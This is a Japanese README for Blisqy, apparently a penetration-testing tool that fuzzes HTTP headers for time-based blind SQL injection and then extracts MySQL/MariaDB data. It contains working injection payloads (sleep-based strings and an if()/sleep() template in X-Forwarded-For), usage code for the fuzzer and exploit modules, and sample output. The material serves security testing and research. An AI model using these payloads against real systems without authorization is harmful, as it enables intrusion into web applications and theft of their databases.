
Blisqy は、Web セキュリティ研究者が HTTP ヘッダーにおける時間ベースのブラインド SQL インジェクションを発見し、同じ脆弱性を悪用するためのツールです。
この悪用により、ブラインド SQL インジェクションを介して、印字可能な ASCII 文字に対するビット演算を使用して、データベース(現時点では MySQL/MariaDB のみ対応)からの低速データ引き出しが可能になります。
他の Python ツールとの相互運用性を確保し、他のユーザーが Blisqy が提供する機能を利用できるように、本モジュールは他の Python ベースのスクリプトにインポートすることができます。
時間ベースのブラインド SQL インジェクションをテストする際、ネットワークの遅延や輻輳がファジングや悪用の効果に影響を与える可能性があります。考えられるネットワーク遅延や不確実性による遅延を補うために、Blisqy の時間比較は動的で、テストごとに実行時に計算されます。テストは greenlet(軽量な協調スケジューリング実行ユニット)を利用して、libevevent ループの上に高水準の同期 API を提供します。短時間でペイロードテストを高速かつ効率的に実行でき、さらに、特定のテストが他のテストに影響を与えることはありません。これらは逐次的な方法では完全には実行されないためです。
Blisqy は HTTP ヘッダーにおける時間ベースのブラインド SQL インジェクションのファジングをサポートするようになり、主要機能(ファジングとエクスプロイト)は移植性のために独立したファイルに分離されました。
ファジング機能を使用するには、以下のように Python スクリプトに次のモジュールをインポートし、対象とファジングデータを指定します。
from lib.blindfuzzer import blindSeeker
対象パラメータはディクショナリ/JSON 形式で指定する必要があります。例(変数のデータ型に注意):
Server = '192.168.56.101'
Port = 80
Index = 1
Method = 'GET'
Headerfile = "fuzz-data/headers/default_headers.txt"
Injectionfile = "fuzz-data/payloads/mysql_time.txt"
target_params = {
'server': Server,
'port': Port,
'index': Index,
'headersFile': Headerfile,
'injectionFile': Injectionfile,
'method': Method
}
対象パラメータを指定した後のファジザーの呼び出しは以下の通りです。
vulns = blindSeeker(target_params)
vulns.fuzz()
この例については FindBlindSpot.py を参照してください。
成功すると、実行された「インジェクション可能」なテストのレポートが表示されます。Blisqy はネットワーク遅延や輻輳を補おうとしますが、報告された陽性テストを実際の悪用前に検証することが重要です。
以下はサンプルレポートです。
=================== [ Key Terms] ===================
Index = Configured Constant (Delay)
Base Index Record = Server Ping Before Fuzzing
Benching Record = Base Index Record + Index
Fuzzing Record = Time taken to process request with Index
===================== [ Logic] =====================
If Fuzzing Record is greater than Benching Record,
treat as a positive; else, treat as a negative.
[+] Injection : X-Forwarded-For : ' or sleep(1)#
[+] Header : X-Forwarded-For
[*] Index Record : 0.000160932540894
[*] Benching Record : 1.00016093254
[*] Fuzzing Record : 9.01
[!] Test 436 is Injectable.
__________________________________
[+] Injection : X-Forwarded-For : ' or sleep(1)='
[+] Header : X-Forwarded-For
[*] Index Record : 0.000378847122192
[*] Benching Record : 1.00037884712
[*] Fuzzing Record : 18.02
[!] Test 438 is Injectable.
__________________________________
Blisqy ファジザーの動作中のスクリーンショット:

潜在的な時間ベースのブラインド SQL インジェクションを見つけたら、脆弱な Web アプリケーションを悪用するためのスクリプトを準備できます。
ファジザーと同様に、Python スクリプトにエクスプロイト用のモジュールをインポートし、エクスプロイト操作のテンプレートを定義します。以下は、Python スクリプトにモジュールをインポートする例です。
from lib.blindexploit import SqlEngine
次に、エクスプロイトのために、対象とそのパラメータの詳細を提供する必要があります。以下は、ファジザーで見つかったブラインド SQL インジェクションを悪用する実装例です。
対象データは、サーバー、ポート、見つかった脆弱なヘッダーとその値(一部のアプリケーションは特定の値を必要とするかチェックします)を指定するディクショナリ/JSON 形式でなければなりません。また、変数のデータ型に注意。
target = {
'server': '192.168.56.101',
'port': 80,
'vulnHeader': 'X-Forwarded-For',
'headerValue': 'fuzzer'
}
対象パラメータは続けて、エクスプロイトの設定に関するオプションを指定できるようにする必要があります。
targetParam = {
'sleepTime': 0.1,
'payload': 'pass',
'mysqlDig': 'yes',
'interactive': 'on',
'verbosity': 'high'
}
select @@hostname のようなカスタム SQL クエリでエクスプロイトを実行するオプションです。デフォルトは 'pass' です。対象とそのパラメータを指定したら、次にエクスプロイトルーチンのテンプレートを提供します。Blisqy は、ユーザーがデータ流出用の SQL ペイロードと sleeptime 遅延を注入する場所を指定できる方法を提供します。以下は、前のサブセクションで提供したサンプルレポートで見つかった脆弱性の 1 つの実装例です。
X-Forwarded-For ヘッダーで見つかったインジェクション:
' or sleep(1)='
この特定のインジェクションのテンプレート:
sqli = "' or if((*sql*),sleep(*time*),0) and '1'='1"
実行時に、*sql* は SQL インジェクションペイロードに置き換えられ、*time* は sleep() の遅延に置き換えられます。
これらすべてが完了したら、最後のステップはエクスプロイトルーチンをインスタンス化し、MysqlDigger() メソッドに作業を任せることです。
# Create an instance
BlindSql = SqlEngine(target, targetParam, sqli)
# Enumerate the MySql Database
BlindSql.MysqlDigger()
ExploitBlindSpot.py にこの例が用意されています。
以下はエクスプロイト操作の例です:

Blisqy で見つけた興味深い点や、追加・削除すべきと考える点があればお知らせください。
(PDF) Time-Based Blind SQL Injection via HTTP Headers: Fuzzing and Exploitation.. Available from: https://www.researchgate.net/publication/328880240_Time-Based_Blind_SQL_Injection_via_HTTP_Headers_Fuzzing_and_Exploitation
PentesterLab - From SQL Injection to Shell II https://pentesterlab.com/exercises/from_sqli_to_shell_II/course